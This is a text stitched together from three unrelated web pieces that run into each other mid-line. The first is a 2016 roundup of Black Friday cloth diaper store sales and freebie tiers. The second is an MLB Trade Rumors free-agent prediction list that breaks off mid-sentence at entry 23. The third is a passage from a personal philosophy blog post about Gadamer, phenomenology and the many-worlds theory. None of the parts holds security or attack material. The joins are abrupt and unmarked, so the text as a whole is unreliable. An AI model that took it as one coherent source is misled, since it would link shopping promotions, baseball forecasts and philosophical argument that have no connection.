Free for orders $29-$48.99: free CJs Sample, La Petite Creme Sample or Birds&Bees Tea Sample (makes four cups)
Free for orders $49-$78.99: free Punkin Butt Teething Oil, AppleCheeks Mini Zip, IBB Bamboo Swaddle or Kissaluvs Wipe Solution
Free for orders $79-$108.99: free Little Unicorn Swaddle, One-Size Diaper Cover (min value $11.00) or GroVia Magic Stick
Free for orders $109-$148.99: free One-Size Stay-Dry All-in-One (min value $19.95), One-Size Natural Fiber All-in-One (min value $21.95) or Logan&Lenora Wet+Dry Clutch
Free for orders $149-$198.99: free One-Size Natural Fiber All-in-One (min value $24.95), Logan&Lenora Daytripper Tote, AppleCheeks Shell+Mini Zip or Sloomb Armwoolies
Free for orders $199-$298.99: free One-Size Diaper and Copper Pearl Bib Set and Indestructibles Book (min value of combined freebie pack $50+)
Free for orders $299-$498.99: free Tula Blanket Set+wet bag or Soft-Structured Carrier valued $129+
Free for orders $500+: free carrier valued at $169+
All freebies will be live on our site at midnight eastern 11/25. Limit one *freebies* selection per order. Order total is after all sale prices are applied and before any shipping charge.
Black Friday weekend promos are for orders placed 11/25 midnight eastern – 11/28 23:59 eastern.
To best serve you, no order changes can be accommodated once your order is placed. This ensures we can get your goodies packed and on their way to you as quickly as possible. We apologize for any disappointment this causes.
There is a limit of one ‘order total freebie’ per order from above Freebies list. Your carrier-purchase freebie and toy-puchase freebie do not count against your one-freebie limit. xoxo
Feel free to submit as many separate orders as you like. If you apply multiple ‘order total’ freebies to your order, we will still only ship one freebie per order. If your chosen freebie oversells, we will substitute the most similar option. We have a lot of freebies standing by, but stranger things have happened….
We make every attempt to get orders out within 2-3 business days, but please understand the weekend sales make things a bit (ok, a lot!) more hectic. You will get a shipping notice via email when your order is on the way. You can also check the status of your order by logging in to your account. It will change from ‘new’ to ‘fulfilled’ once it is on its way.
Freebies do not apply to Newborn Diaper Rental bookings or gift certificate purchases.
You pick your freebie tier and type of item – please note – IBB picks your actual freebie. No other discount, including Bitsy Bucks Gift Certificates – can be stacked with all of this goodness. Thanks for understanding!
Thanks folks!! xoxo – IBB team
Dearest Diapers
10-50% off your favorite brands & tier freebies with every order
Diapers.com
30% off gDiapers with code BLACKFRIDAY
Green Team
Always, free shipping on Us orders of $25+
No coupons to enter, just add items to your cart and see your savings and freebies stack up!
20% all items under “Black Friday Deals” including Earth Mama Angel Baby, Healing Hazel, Loohoo, Nellie’s All Natural, eco-kids, ImseVimse, NoMo Nausea, pHresh, SaviMom, Wean Green, Anna Naturals, Calm-A-Mama & more! 11/25/16-11/28/16, Discount will be applied in cart.
50% off of Lizard King
NEW TotBots Prints available!
Stack-able Freebies!! 11/25/16-11/28/16 While supplies last. Free items will be added to your cart automatically.
Free Wooden Yo-Yo with any BeginAgain Toys purchase – Limit 1 per customer.
Free Hip Peas Lotion with any Hip Peas Purchase– Limit 1 per customer.
Free Jack N’ Jill Sleepover Bag with any Jack N’ Jill purchase– Limit 1 per customer.
Free SOPHi Remover Gel with any SOPHi Polish purchase– Limit 1 per customer.
Free WaterWipes 10pk with any TotsBots or ImseVimse purchase– Limit 1 per customer.
Free Reusable Shopping bag with EVERY order over $50
Over the Moon Diapers
20% of Everything, sitewide. Friday, November 25 through Monday, November 28th, including limited edition prints and newborn cloth diaper rentals!
Calla Creative
Cyber Monday (12am-11:59pm)
Ultimate Care Package for Toddlers (Save $47)
Organic Waffle Weave Blanket
2 Calla Pillows
2 Organic Cotton Pillowcases
2 Lovely Lavender Massage Oil
Ultimate Calla Care Package
Earth Mama Angel Baby
30% off everything Monday November 28th with code “CYBERMONDAY.” U.S. orders only.
The Diaper Drawer CAN
Online Sales – Fri Nov 25th – Fri Dec 2
Each Online Purchase will receive a coupon for their next online order!
Free Gift with Purchase Frenzy! We will be randomly adding gifts with everything from samples to FREE Diapers and SWAG to every order! Check out our image online to see some of the many possibilities!
MYSTERY BUNDLES (Friday Nov 25th Online Only!)
AppleCheeks up to 20% Off
bumGenius 15% Off
GroVia 10-30% Off
Tula 15% Off Monday, Nov 28 – Fri Dec 2
Select Stonz Boots 20% Off
Up to 40% Off Select Baby Carriers
In Store Small Business Saturday Sale – Saturday Nov 26th 10 am – 6 pm
Gift Bags for the first 20 customers making a purchase of $50 or more!
10% Off Entire store with 20% Off Select Tula Carriers and additional Markdowns!!
Bumstoppers
Kids clothing, cloth diapers & essential oil bracelets marked down 20-35%
Use the code BLACKFRIDAY16 to save an additional 15% store wide
Spend $49 get a free pair of cloth wipes
Spend $75+ get a free pair of scrundies in your choice of size, or a free pair of cloth trainers in any stocked size
Spend $100+ get free shipping and all the other gifts
Kangacare (Rumparooz)
11/25-11/28
20% off + Free Shipping & Surprise
Different code each day & new free gift when dollar amount is reached
My Sweet Pickles
You will receive 10% rewards during the sales period and yes, we will still have double points on Monday!
No coupon codes can be used between Thanksgiving 9am – Cyber Monday
Details on freebies for Saturday, Sunday and Monday will be announced Saturday morning
Stackable Freebies – no codes needed! They will automatically be included in your order. If you return any item from your order, you must also return any freebies if your purchase falls below the minimum level for the freebie.
FREE SHIPPING over $39 in the USA! We DO ship many products internationally as well
Sales begin at 9 am central Thanksgiving Day unless otherwise noted.
Aden + Anais – All Products 10% off
Apple Cheeks – All Products 15% of (starting at 12:01am eastern time Black Friday)
Baby Banana Brush – All Products 10% off
Baby Paper – All Products 10% off
Balm Baby – All Products 10% off
Bambino Mio – Mio Solo AIOs 30% off (sales ends when sold out), Mio Fresh 10% off
Best Bottoms – Covers only 15% off
Blueberry – All Diapers and Covers 10% off (we still have some discontinued prints and exclusives heavily discounted)
BumGenius and Flip Diaper and Covers only 15% off through Nov 20th – Dec 3rd (6, 12 and 24 packs not included as they are already discounted)
CJs BUTTer – All Products 10% off
Episencial Sunscreen – 20% off until sold out
Fat Brain Toys – All Products 10% off
Fluf Lunchbags – All Products 10% off
Grovia – 20% off all products except new prints and biosoakers (starting at 12:01am eastern Black Friday)
Geffen Baby – All Products 10% off
Inno Baby – All Teethers 10% off
Imagine – Pocket Diapers only 10% off
Jaq Jaq Bird – All Products 10% off
Judanzy – All products 10% off
Lenny Lamb – All soft structured carriers on sale at least 15% – Nov 21st – 28th
Lil’ Toys – All Products 10% off
Lillebaby – 20% off all Carriers – Nov 28th – Dec 2nd
Logan and Lenora – All Products 10% off
Lusa Organics – All Products 10% off
Maple Landmark Toys – 10% off
Ogosport Sensory Ball (Bolli Ball) – 10% off
Osocozy – 10% off all products
pHresh Deodorant – 10% off
Planet Wise – All Products 15% off
Reese and Luke – Diaper Balm 30% off (sale ends when sold out)
Re-Play Dishes – All Products 10% off
Rumparooz – All Products excluding TokiBambino 25% off (discount will be reflected in cart)
Smart Bottoms – All Products excluding Joy exclusive 15% off (starting at 12:01am eastern time Black Friday)
Softbums – Omni and Echo Shells 10% off
Sloomb | Sustainablebabyish – All products 15% off (starting at 12:01am eastern time eastern time)
Saranoni Swaddles – 10% off
Sweet Pea – All Products 15% off
The Amber Monkey – All Amber 10% off
Thirsties – All products 15% off
Tots Bots – All products 15% off
Tula Baby – Standard and Toddler Carriers 15% off (Nov 28th – Dec 2nd)
Wubbanub – All Wubbas except reindeer 10% off
The Eli Monster
To celebrate the holiday weekend, use coupon code ** THANKS ** for 30% your entire cart. Expires November 30th.
Everything Birth
Cyber Weekend Sale 15% off!
Use Coupon Code CYBERWEEKEND2016 at checkout.
Coupon must be used online. Does not apply to previous or pending orders. Valid from midnight 11/24 through midnight, 11/28. Does not apply to gift certificates, birth kits, or pre-packaged student midwifery kits.
Our office will be closed for the holiday weekend, so orders will only be processed online.
NappyShoppe
Step out and Shop Small this Black Friday!
Save 20% store wide *. Our only exclusion is Sakura Bloom! Come by early and you can get Sweet Pea Newborn Covers for only $5. Thats a 50 percent saving. Stocks are limited! Covers are available in store on FRIDAY only.
Can’t make it in? Use coupon code BLACKFRIDAY at check out on our website www.nappyshoppe.com. Coupon code will work from 11/23/16 to 11/25/16.
Super Undies
See sale page for select bargain basement items.
Today through Monday at midnight, use code HOLIDAYBASH to receive 10% off all orders plus you’ll automatically receive a free insert with any night time undies purchase and free potty training punch cards with the purchase of any potty training pant.
Cottonbabies
See sale page
Pinstripes & Polkadots
See sale page
Lagoon Baby CAN
Use code: Blackout16 to save 15% off almost the entire store*!
*Not valid on Cloth Diaper Packages, previously submitted orders and select prints. No rain checks.
EcoBuns
See sale page
Sarah Wells Bags
Select bags 25% off
Catbird Baby
15% off with code BlackFriday2016
Project Pomona Pants
15% Off ALL Orders with Code: Turkey2016
20% Off ALL Orders with Code: Gravy2016
25% Off ALL Orders with Code: Pie2016
Please Note, Seconds and Clearance Items are not included in this additional discount
Sustainablebabyish/Sloomb
SAVE 15% ON SLOOMB ITEMS
WITH MORE SAVINGS THROUGHOUT THE STORE!
Rockin’ Green
Black Friday is finally here! We’ve put together some fun holiday bundles and lowered the prices PLUS you can save an extra 15% off by using the coupon code CYBER16 at checkout!
Squigglybugs
20% off GroVia
10% off Best Bottoms & Planet Wise
Free Shipping
15% off Smart Bottoms
Suprirses in orders over $100
Natural Littles
Ongoing CLEARANCE Sales:
Aden+Anais = Primarily clothing 50% off
Aura Cacia Essential Oils & Accessories 50% off
Baby Time by Episencial 50% off
Farm Buddies Clothing & Gifts 60% off
Snuggy Baby Ring Slings, Wraps and Diapers 50% off
Under the Nile Organic Cotton Clothing 60% off
All Sale Items will be listed under SALES on the menu bar of our home page. Please read *notes* for each sale.
– Best Bottom Diapers MICROFIBER Doublers & Overnights 50% off. In stock only
– Best Bottom Diapers Great Out Doors Covers & Lite Wet Bags 30% off. In stock.
– Best Bottom Catch Me If You Can Lite Wet Bags 30% off. In stock.
– All Other Best Bottom Products 10% off. These items will ship to you from Best Bottom and will be subject to their inventory availability. These will ship separately from all other products, and may take 2 weeks or more, depending on their order load.
– bumGenius 5.0s and Freetimes in Austin and Equiano ONLY 30% off
– Earth Mama Angel Baby 10% off
– Momma Goose Baltic Amber – 15% off
– Sweet Pea Diapers 20% off, with the exception of Sweet Pea Prefolds & Flats at 40% off
– Thirsties – 15% of in stock product only. Supply is very limited. If you would like to place a special order for Thirsties, please send a message to us via our Facebook PAGE and we will get you set up.
FREEBIES, because what is Black Friday without Freebies?
Orders up to $50. Every single order will come with at least a small free gift OR sample. Please add an order notes indicating if you are breastfeeding or pregnant (some samples don’t make sense if you are not one or the other). Also comment with girl, boy, or gender neutral. Chosen by us.
Order of $50+ will have choices to make here.
Orders $50.01 to $75.00. Free box of EMAB Tea, there are 4 to choose from.
Orders $75.01 to $100.00. Free Silicone/Wood Teething Necklace & Punkin Butt Teething Oil
Orders $100.01 to $150.00. Free Mariposah or Imagine Swaddle Blanket.
Orders $150.01 to $200.00. Free Amber Teething Necklace. You choose size only. OR Free One Size Diaper.
Orders $200.01 or more. Free Amber Teething Necklsace. You choose size only. AND Free One Size Diaper.
Calgary Cloth Diaper Depot CAN
Black Friday
Nov 25-Nov 30* 2016
Receive a Free Gift Card with min. purchase
Spend $150.00 Receive a free pair of Judanzy Holiday Leg Warmers
Spend $300.00 Receive Bumgenius 4.0 Alicia Onesize Cloth Diaper
Spend $500.00+ Receive GroVia Citrus O.N.E Onesize Cloth Diaper
FREE SHIPPING on ALL order USA/CAN
Bamboobies
Free shipping with code FREESHIP
Just Simply Baby
Everything on sale, covers just $4.99
The Baby Footprint CAN
Starting Friday, November 25th at 12am EST, runs through Monday, November 28th and ends at 11:59pm EST.
ENTIRE site will be ON SALE!
Save at LEAST 10% off site wide, but some brands you’ll save 15-20%!
Discounts will apply automatically at checkout, no coupon’s required!
Save 20% off select brands, including
AppleCheeks, Bummis, BumGenius, Flip, GroVia, MotherEase,
Beco, Boba, West of the 4th Weaving, Stonz, and MORE!
Save 15% off SuperUndies, Smart Bottoms, CJ’s BUTTer,
Delish Naturals, SprayPal, S’well, RePlay, Goodbyn,
AND MUCH MUCH MORE!
Bakers Dozen Deal!!
Buy 12 diapers and receive the 13th FREE!
(Can be a mix of brands & styles of covers, diapers and trainers. Inserts/Prefolds not included)
Free diaper to be selected by Baby Footprint based on inventory, and will be automatically
added to your order
Spend $75 in RePlay (after discounts) and receive a FREE Snack Stacker set!
Will be automatically added to your
order, color will be selected by random.
FREE BumGenius gift with BumGenius
& Flip purchases of $150 or more
FREE size 1 AppleCheeks storage sac
with any purchase of Boba, Beco or West of the 4th Weaving carrier!
FREE Delish Naturals gift with all
orders over $50
Some Exclusions apply – AppleCheeks newest releases Caturday and Don’t Worry not included in sale.
Discounts will automatically come off at check out.
Not stackable with other coupons (Gift Certificate codes accepted).
No rainchecks, No retro dating sales, and on IN stock items only.
Blossoming Mama
Holiday sales from 20-40% OFF have started going live! Find them here in the Holiday Sales section of our website (http://blossomingmama.com/2016-HOLIDAY-SALES_c_96.html). Sale prices will calculate automatically in the SHOPPING CART. You will have to go to the checkout page to see the discounted total at the bottom of the page.
Items will change daily based on manufacturer sale dates and amounts.
Freebies with purchase!
We have stackable freebies that will be included automatically with your online orders (we will select; however, you may leave us notes of preferences) and available for selection by you with your in store purchases. Available while supplies last. If a level runs out, you will be provided with comparable value item or additional previous level items. Total purchase amount is calculated AFTER all sales and discounts and BEFORE any applicable shipping or sales tax.
Level 1: $25 purchase: Various salve, tea, detergent, etc samples, minis, bumGenius refresher kits, or small Melissa and Doug toy
Level 2: $50 purchase: Level 1 item PLUS various Melissa and Doug medium summer toy
Level 3: $100 purchase: Level 1 & 2 items PLUS Melissa and Doug large summer toy or Treehopper wooden toy
Level 4: $250 purchase: Levels 1-3 items PLUS Treehopper Match Stacks, one Kissaluvs or bumGenius diaper, two swim diaper or trainer, two Kissaluvs Super Soakers, or one Frogg Toggs
Level 5: $500 purchase: Levels 1-4 items PLUS a) doll sling or carrier and small woven wrap tote or b) Moby or Boba wrap
Level 6: $1000 purchase: Levels 1-5 items PLUS Babyhawk, Boba, Comfy Joey ring sling, or Moby Go baby carrier
Level 7: $1500 purchase: Levels 1-6 items PLUS woven wrap, Lillebaby, Onya Baby, or Tula Baby Carrier
Sales!
We cannot announce all of our sales quite yet, but you can get from 20-40% off PLUS all the freebies listed above! You could get over 50% savings after discounts and freebies!
Some participating brands in no particular order or discount amount: Balm! Baby, Cotton Babies, GroVia, Maya Wrap, Spray Pal, Lillebaby, Tula, Lalabye Baby diapers, Kanga Care, Sloomb|sustainablebabyish, Kanga Care, Smart Bottoms, Charlie Banana, Planetwise, Kissaluvs, Didymos, Natibaby, kokadi, Girasol, Moby, Boba, babyhawk, Comfy Joey, Onya Baby, Melissa and Doug, juDanzy, bumkins, Tushmate, and more!
Local pickup deal: in stock Clek Foonf, Fllo, Oobr, Olli, and accessories are 20% off. More details at www.facebook.com/groups/blossomingmama
Orders over $250 will get DOUBLE POINTS!
If you plan to make multiple orders, we can hold and combine them and will use your combined total order amount to determine freebies sent. Please make a note in the comments section of your order.
Houston locals may choose the local pickup shipping option. I will email you to arrange a pickup within 5 miles of 77070.
Stay tuned and remember to #shopsmall!
Green Mountain Diapers
See sale page
Kushies
30% off site wide
Lil Tulips
See sale page
Bumbini CAN
See sale page
Lalabye Baby
Free shipping 11/18/16 – 11/28/16
Black Friday Sales begin Friday 11/25/16 12:01am EST
Orders placed during this time will begin shipping on 11/28/16.
The Green Nursery
See sale page
Itsy Bitsy Necessities CAN
10-20% off entire site
Bump to Bum
Everything 20% off
The Granola Family
Double Points from Monday, November 21 thru December 1st!
*More sales to be announced*
*Prices will automatically be applied No codes necessary to receive discount
Apparel – 15% off
Grovia – 20% off
KangaCare – 35% off
Earth Mama Angel Baby – 15% off
Sweet Pea – 20% off
Doodle Pants – 25% off
BityBean – 10% off
Bottom Bumpers – 20% off – November 24th thru November 27th
Smart Bottoms – 15% off – November 25th thru December 1st
Baby Leggings – 15% off
Eucalan 15% off
Best Bottom Gift sets 15% off
Everything has some sort of sale going! Enjoy and stock up for the holidays!
***Several orders will receive surprise items
***Several orders will receive triple points
***2 lucky orders will be refunded!
Happy Shopping and thank you so much for choosing The Granola Family!
**Coupon Codes will not be accepted during our sale due to the deep discounts.
BONUS: Win a Lillebaby All Seasons Carrier!
*ALL Orders between 11/20 and January 31 are entered to win a Lillebaby All Seasons carrier!
Thanks Mama
15% off select cloth diaper styles
Truly Charis
See sale page
Honeybuns Cloth Diapers
20% off all in stock diapers
Silikids
40% off Silimaps, Silibibs & Siliskin cups w/code Sili4U
Little Things Collective
See sale page
Nature’s Baby Basket
Use coupon code NBB16LOVE for amazing sales, gifts, giveaways, FREE shipping in Canada and USA!! Shop in store or online
Oko Creations
25% off with code blackfriday25
Glow Bug
Black Friday package sale
Ragababe
Freebies, 10% off some items with code RagaBF, right to buy golden tickets & freebies
Planet Bambini
Doorbusters are from 12am EST-2am EST!!
All Freebies are stackable from 12am-2am EST!!!
First 10 orders of any amount get a free surprise gift in addition to the listed Freebies!!
All orders receive free sample size gift
Orders over $25 – Free Baby Paper or RLR 2pk (you choose)
Orders over $75 – OS Diaper Cover or Silicone Teether (you choose freebie, PB chooses color/style)
Orders over $150 – Tula Blanket or Child Amber or OS Diaper (you choose freebie, PB chooses color/style)
Orders over $250 – Adult Amber or Chewbeads Necklace or Nighttime Fitted (you choose freebie, PB chooses color/style)
Orders over $350 – Tula Blanket Set of Choice (in stock options only) or Ju-Ju-Be Wallet of choice
Discounts
10% off the following:
All Baltic Amber
BALM Baby
PURA Stainless
15% off the following
All Sloomb
Spray Pal
20% off the following:
All Clothing
All Hairbows
All Shoes
GroVia (excludes new prints and Mighty Bubbles)
Sweet Pea
30% off the following:
Blueberry
BumGenius
Flip
Thirsties
Bottombumpers
BB Cloth
Starts NOW and ends at 11:59PM EST 11/25/2016.
Code: BF3016
*minimum purchase of $12 for the code to qualify. *
**FREE SHIPPING ON ORDERS OVER $75+ (US only)
Softbums
15% off site wide 11/25
Borrowed Planet
**BLACK FRIDAY SALE CODE-20% off!**
**Free gift on orders of $100 or more**
20% off starting today until Monday! Free gift on orders of $100 or more after discount. Free shipping on orders over $ 120. Coupon code “bpblackfriday”. Site is priced in Canadian dollars and no tax!
Top to Bottom Baby Boutique
See in store specials
Lil Monkey Cheeks CAN
See sale details
Babyzagogo
See Facebook page for one hour deals
Lillebaby
20% off everything excluding embossed
Grace Green Beauty
Sales & free shipping on $49+ with code FREE49
Heavenly Hold
15 % off baby carriers
Colorado Baby
See sale pageGreen Baby Planet
Sales & freebies
Treehouse Treasures
30% off orders of $20 or more with code 2016
The Cloth Buttique
15% off your purchase with code THANKFUL16
These are stores that have had Black Friday cloth diaper sales in the past – I’ll be watching them again to add 2016 Black Friday cloth diaper sales as they becomes available
ClothDiaper.com
Kissed By the Moon
Tiny Tush
Pandeezies
Crunchy Love Co
Tidy Tots
Happy Heiny
Sassy Cheeks Diapers
Molly’s Suds
Fuzzibunz
Cloth Diaper Outlet
Plush Bums
My Precious Kid
Bottombumpers
Ovolo Wraps
Up On The Hill Diapers
TushMate
Bear Bums (CAN)
Comfy Joey
Nic & Elli
Happy Baby Company
Jillian’s Drawers
Green Bean Babies
Granola Babies
Diaper Lab
Imagine Baby
Chicks and Hens
Snappy Greens
Northern Essence
Baby K’Tan
gDiapers
Squishy Tushy
Rockabums
Boingo
Cotton Candy Eco Cloth
Moraki
Funky Fluff
Here are some more stores I’ll be watching for 2016 Black Friday cloth diaper sales. There’s no guarantee they will have them, but I’ll be checking!
Dainty Baby
Eco Sprout
Lil HelperThe sixth annual MLB Trade Rumors Top 50 Free Agents list is here! The entire list of available free agents can be found here, and you can filter by position and signing team with our free agent tracker here.
This year, I'm excited to introduce a new contest that will allow you to test your free agent prediction abilities against those of the MLBTR writing team as well as other readers. After players start signing, we'll have a leaderboard showing the contestants with the best "batting averages" on their picks. Once everyone has signed, the winners will receive sweet prizes. Here are the top 50 free agents for which you'll be making predictions, along with my guesses.
1. Albert Pujols – Cardinals. The Cubs, Blue Jays, Orioles, Mariners, Rangers, Marlins, Nationals, and Dodgers are other potential suitors, but a significant premium would be required to lure away the longtime Cardinal. $225-230MM over nine years seems a fair compromise for the Cardinals and their superstar first baseman.
2. Prince Fielder – Mariners. Fielder has the same potential suitors as Pujols, with the Brewers also a possibility. The Scott Boras client is a tough free agent to place, as there are good reasons for every team to avoid a potential $150MM+ commitment. The Mariners and Cubs are the most likely matches for me. Mariners GM Jack Zduriencik drafted Fielder in '02 with the Brewers, and his team lacks a premium bat.
3. Jose Reyes – Brewers. Reyes is another difficult top free agent to predict. The Nationals, Braves, Phillies, Giants, Pirates, Reds, Twins, Rays, and Cardinals could have a need at shortstop, but not all of those teams can or should spend $100MM+ on Reyes. The Mets will entertain re-signing Reyes, but the Brewers seem more likely to approach Ryan Braun's speculated $120MM price range.
4. C.J. Wilson – Nationals. Wilson's poor postseason may have damaged his stock slightly, but in his defense he racked up 250 innings over 39 starts this season in total and started 37 games in 2010. $100MM is still possible for Wilson, though 78% of MLBTR readers think he'll fall short. Front-of-the-rotation starting pitching is a big need for many teams, including the Nationals, Marlins, Royals, Blue Jays, Yankees, Red Sox, and Cubs.
5. Yu Darvish – Blue Jays. Darvish is not technically a free agent, and in fact he hasn't even decided about being posted at this point. If he does come over from Japan, a $100MM commitment will likely be required. The Yankees, Red Sox, Rangers, Nationals, Mariners, and Royals could put in bids, and it wouldn't be surprising to see a few "mystery teams" enter the fray.
6. Edwin Jackson – Marlins. Jackson, a Scott Boras client, could also make sense for the Nationals and several other teams looking for a 200-inning starter with upside. Since Jackson is only 28, Boras could seek a four-year deal.
7. Jimmy Rollins – Phillies. Rollins probably won't find the five-year deal he seeks, but the Phillies have the need and the means to reach a new agreement with him.
8. Aramis Ramirez – Orioles. Ramirez seeks a multiyear deal, and as the best available free agent third baseman he's justified. He could give the Orioles a powerful corner bat on a three-year deal.
9. Carlos Beltran – Red Sox. Beltran is a tough player to place, if the Giants are unable to re-sign him. He's a 34-year-old Scott Boras client who's likely to seek at least three years despite significant injury concerns in 2009-10 and a disinterest in being a designated hitter. It'll take a team with a right field opening and a tolerance for risk.
10. Jonathan Papelbon – Red Sox. I can picture the Red Sox going as high as three years and $39MM to retain Papelbon, though the closer will test the market. A half-dozen teams could seek closers this winter, but the list is short on big spenders and it's been a while since we've had a $40MM+ reliever.
11. Michael Cuddyer – Twins. Cuddyer would fit with the Rockies, Red Sox, or Cubs, but he's spent his entire career with the Twins and may prefer to stay.
12. Mark Buehrle – White Sox. Buehrle is another player who is difficult to picture with another club. The lefty finds the National League enticing, however, and he could join Ozzie Guillen in Miami since the Cardinals don't have an opening.
13. David Ortiz – Blue Jays. Ortiz backed off from his comments about Red Sox drama, and there's a limited market for an expensive player with no ability to play defense. Still, he'd give Toronto's offense a nice boost without requiring more than a two-year deal. That might leave Edwin Encarnacion having to play a significant amount of first base, however.
14. Ryan Madson – Phillies. If the Phillies don't re-sign Madson, and the Red Sox keep Papelbon, who would give Madson big money to close? As a Scott Boras client, Madson could seek a four-year deal with a salary approaching $10MM.
15. Hiroki Kuroda – Dodgers. Kuroda doesn't want to play anywhere else, according to Dodgers GM Ned Colletti.
16. Carlos Pena – Pirates. Pena is a nice fit for the Pirates on another one-year deal, assuming they don't re-sign Derrek Lee.
17. Francisco Rodriguez – Marlins. K-Rod, a Scott Boras client, would like to return to the closing role on a three-year deal. The Marlins would have the opening and the money, if they non-tender Juan Carlos Oviedo.
18. Roy Oswalt – Rangers. Oswalt could return to Texas for a winning team, and he'll require a much shorter commitment than C.J. Wilson.
19. Javier Vazquez – Retirement. There's a strong sentiment that Vazquez will retire, but he'd be in demand if not after posting a 1.92 ERA and 6.05 K/BB ratio since mid-June.
20. Heath Bell – Padres. Bell hopes and expects to return to the Padres, perhaps on the first multiyear deal of his career.
21. Coco Crisp – Giants. Though he posted a low on-base percentage in 2011, Crisp could fill the Giants' need for a center fielder and leadoff man.
22. Hisashi Iwakuma – Twins. The Twins bid on Iwakuma last year when he was posted, and this year they can simply sign him as a free agent.
23. Kelly Johnson – Dodgers. Johnson could provide the Dodgers some offense from second base, though |
itself, its own foundational assumptions, in a meaningful manner. Gadamer’s hermeneutical approach sheds light on the common history of assumptions which ground purposeful analysis of, and discoveries in, nature. These same material, corporeal assumptions, though, are not available for question in physics, as they are THE assumptions which allow for real value, and so leave self-evidence in paradox. But Gadamer, in a phenomenologically retrospective manner, shows how natural assumptions are an index to a lived perspective cultivated by historical participation; and in recognizing this common misunderstanding, one may positively participate in methodical communion with other perspectives in common truth, without contradiction of self. Boundless horizons mark this relation, as well as annul polemics in the name of this relation, without excluding them from participation in terms of this relation.
One professor told me I should edit and publish my findings. Every. Single. Other. Philosophy professor of mine told me, in some way, shape, or form, that I was unphilosophical; too subversive; too creative; incapable of demonstrating the critical reasoning skills necessary to do highfalutin philosophy. And I believed them. And I should have, for one may always improve upon oneself. But then I took their criticism too seriously, and such criticism became too real, as I then based my whole worldview, my whole perspective on their negativity. I did what I always hate to see others do, that is, negatively contradict oneself; fully negate oneself; completely reduce oneself, one’s perspective, one’s world, to a single idea encompassing all meaningful reality (which, in my case, was that I was a complete dunce who chooses inappropriate methods of wisdom-loving). I barred myself from seeing that which grounds my perspective, and the entailed possibilities of thought which could clarify my misconceptions. Paralyzing negation and grief could have been for me an advantage had I not participated in this negation in terms unclear! Their criticism sparked such an emotional response out of my person that I was unable to properly apologize for my thoughts. Because I served as a sensitive ‘lil artist, barely able to stand the demands of the light of day, I was unable to become clear.
Is this to say that had I edited and published my findings, I would have solved a huge problem for science? No. But the softer humanities need a little tender, loving care, if one asks me. These modes of expression are subtly abused by the “discoveries” of theoretical science, which emerge as novel when there exists in them no respect for the begetting isnad of thought that accounts for such radical insight. And in being jipped from credulity, my field of choice, and my own self self as a participant, is impoverished. Does the Continental camp at least gain an “assist” in the scientific conclusions to follow in the third link given? Does the philosophy-writ-large camp receive any reference from modern physics? And what of religion? Poor religion has been boasting of the existence of other-worlds and other-worldly-entities since the dawn of time! Does this field of study get credit? If not, then the social sciences and the more “feathery,” “vague,” and “too creative”-philosophies and arts are second-class citizens compared to the naturally prepossessed philosophies and sciences, in and of themselves; doing the ignoble work of round-about-ways to truth, in order to include as many possibilities as possible- how brutish!
Here is that presentation (excuse all the “I”s, for it was a live presentation):
Many Worlds Refutation
Here is the abstract for that presentation:
Many Worlds Abstract
Now, do these need editing? Why yes ma’am, they do. But does this form get Gadamer’s message, and my application of Gadamer’s message, through to whomever? Why yes ma’am, it does. Or it least with a “charitable and accurate” eye, one may find the deepest available sense to it. I didn’t see the value in myself or my capabilities. And in not taking seriously my thoughts, they remained obscure, incommunicable to those unwilling to examine the common history of terms; without which clarity of any sort is impossible. There’s a pattern of correlation between my own self-loathing and that of “less-direct” philosophies. It is not the case that “frivolous” methods maintain no value; rather the case is that users of such aesthetic methodologies, like myself, at times don’t know how to rise to the occasion of translating representative realizations into arbitrary terms. This is because our purely, “disinterested” vantage point is didactically structured to the purely deductive disinterestedness of scientific pursuits. And so these methods, or rather I, the projecting self in this scenario, cannot get credit for cultivating such ideas as ideas, themselves- we are thus misappropriated as incorrect outside of deductive form. This misappropriation allows literal sciences to swoop in with the correct sense of self-evidence, avowing concepts previously referenced- like many worlds- as holding value in only one manner. The less precise sectors of the humanities, writ large, are second-class citizens in comparison to the hard sciences insofar as they continue to allow their methods to be measured as purely arbitrary. If the “feathery” methods could combine forces with “efficient cause” and efficient, formal means a little bit better, then their role amidst a sea of cold logic may gain respected perspective. And questions of material and final causes, which allow for the natural measurement of many worlds, may better fall into place.
This is where phenomenology and its legacy can now come to a clear purpose for me, once more (beyond landing me in situations by which i get my ass-beat by encouraging my smart mouth)! Phenomenology, which positively represents naturally negating assumptions as a pure philosophy of science, may tighten up the rather confused messages involved with more lively-expressions of lived-experience, and allow them to logically sing! Could this be what Sartre has been getting at??!! (I’ve hated him for so long because of his examples concerning “bad faith”- why’s the woman in bad faith just cuz she doesn’t wanna hold your sweaty, slimy hand? and why’s the wait staff in bad faith for being good actors? huh? huh? HUH?!) I can’t even believe it, but I’M AGREEING WITH HIS SAYING IN HIS INTENTIONALITY: A FUNDAMENTAL IDEA OF PHENOMENOLOGY, “No more is it necessary to dispose of the effeminate philosophy of immanence, where everything happens by compromise, by protoplasmic transformations, by a tepid cellular chemistry. The philosophy of transcendence throws us on to the highway, in the midst of dangers, under a dazzling light.”
Inspired by Husserl’s original method, and the school of thought which follows suit, the greater scope of the humanities may participate in scientific conversation with equal validity. And it is assumed that such equality in conversation leads to an enrichment of said conversation. And with a more enriched conversation, based upon equal contribution between formal presentation and “intentional-content”, all of the arts and letters may achieve their individual goals swiftly, and with greater truth; value; meaning. For look what’s being ‘discovered’ now: the conclusions of which drawn yearrrrrrsssss prior by means of questioning into prejudice that binds together the natural sciences- a questioning prompted by obscure philosophers and references (“mathematical” as well as “non-“) by whom wayyyy more radical and efficient implications for scientific thought are conceived than the themes explored in my presentation:
http://www.mnn.com/green-tech/research-innovations/stories/parallel-worlds-exist-and-interact-with-our-world-say
Don’t you all worry. I will find a way to remedy this destructive drive, held deep within the origins of my impulse, which has barred myself and the greater scope of the humanities- which as a discursive field of inquiry (or inquiries) grounds scientific inquiry in the first place- from receiving the honors “we” deserve [(or at least which I believe “we” deserve) I hope that the “greater scope of the humanities” does not mind me speaking on its behalf in this instance]. Gadamer allows one to point out that the many worlds theory, as it stood five years ago, contradicted its own purposes, by pointing out a better perspective from which on may approach the problem concerning how it is the many worlds communicate without sacrificing objective indubitableness. And Gadamer wrote many years before the physicists in this article came to such conclusions! But had I, and the “feathery” humanities by willful extension, been better able to present such ideas in a crisp, clean fashion, so as not to add further confusion to a world of conversation which already makes little sense, maybe this perceived tension between science and the greater scope of the humanities would dissolve… Whine. Whine. Whine. Complain. Complain. Complain. Bitch. Bitch. Bitch.
.
.
.
